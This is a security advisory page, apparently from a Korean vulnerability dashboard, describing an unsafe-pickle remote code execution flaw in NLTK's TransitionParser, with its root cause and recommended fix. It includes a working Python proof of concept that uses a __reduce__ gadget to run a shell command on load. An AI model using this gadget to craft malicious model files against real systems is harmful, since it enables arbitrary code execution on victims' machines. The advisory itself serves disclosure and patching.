Kestrel
대시보드로 돌아가기
CVE-2026-78683CRITICALMITRENVDGHSA대응게시일: 2026. 08. 25.수정일: 2026. 09. 08.

NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution

Deserialization

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
critical

이론적 심각도 점수

EPSS
0.3%상위 78.5%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

The NLTK library's TransitionParser.parse() method deserializes model files using pickle_load() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.

Root Cause

File: nltk/parse/transitionparser.py (lines 542-557)

The parse() method calls pickle_load(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override find_class(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).

Vulnerability chain in nltk/picklesec.py:

python
1def pickle_load(file, *, context=None, restricted=False):
2 if restricted:
3 return RestrictedUnpickler(file).load() # Safe: blocks all globals
4 return WarningUnpickler(file, context=context).load() # VULNERABLE PATH

WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().

Why this is not by design:

  • NLTK intentionally created RestrictedUnpickler to block unsafe deserialization
  • The restricted=True parameter exists in the API but is never used by any production code path
  • All call sites use the default restricted=False: transitionparser.py:557, parse/chartparser_app.py:816, parse/chartparser_app.py:2273, parse/chartparser_app.py:2311

Attack Surface

Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.

Exploitation path:

  1. Attacker places a malicious pickle file at a known or attacker-controlled location
  2. Victim calls parser.parse(sentences, "/path/to/malicious_model.pkl")
  3. pickle_load() deserializes the file with restricted=False (default)
  4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges

Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.

Steps to Reproduce

Environment

  • NLTK version: 3.8.1+ (all versions with transitionparser.py)
  • Python 3.6+
  • No special dependencies required

Reproduction

  1. Create a malicious pickle file that uses __reduce__ to execute a system command during deserialization.

  2. Call TransitionParser().parse([], '/path/to/malicious_model.pkl').

  3. The pickle_load(f) call at transitionparser.py:557 uses restricted=False by default, routing through WarningUnpickler, which does not override find_class() and permits full class resolution — executing the embedded gadget.

  4. Arbitrary code executes with the victim's privileges.

Proof That the Fix Works

Changing line 557 in transitionparser.py from:

text
1model = pickle_load(f)

to:

text
1model = pickle_load(f, restricted=True)

causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.

Working PoC

python
1import pickle
2import os
3from nltk.parse.transitionparser import TransitionParser
4
5# Create malicious pickle with RCE payload
6class Exploit:
7 def __reduce__(self):
8 return (os.system, ('touch /tmp/nltk_poc_triggered',))
9
10with open('/tmp/malicious_model.pkl', 'wb') as f:
11 pickle.dump(Exploit(), f)
12
13# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)
14parser = TransitionParser('arc-standard') # or 'arc-eager'
15parser.parse([], '/tmp/malicious_model.pkl') # loads and unpickles unsafely
16
17# Exploit succeeds: file /tmp/nltk_poc_triggered is created

On NLTK ≥ 3.10.0 (patched), the same code fails with:

text
1_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist

This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.

Recommended Fix

Change all call sites to use restricted=True:

FileLineBeforeAfter
nltk/parse/transitionparser.py557pickle_load(f)pickle_load(f, restricted=True)
nltk/parse/chartparser_app.py816pickle_load(model_data_file)pickle_load(model_data_file, restricted=True)
nltk/parse/chartparser_app.py2273pickle_load(file)pickle_load(file, restricted=True)
nltk/parse/chartparser_app.py2311pickle_load(fp)pickle_load(fp, restricted=True)

Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.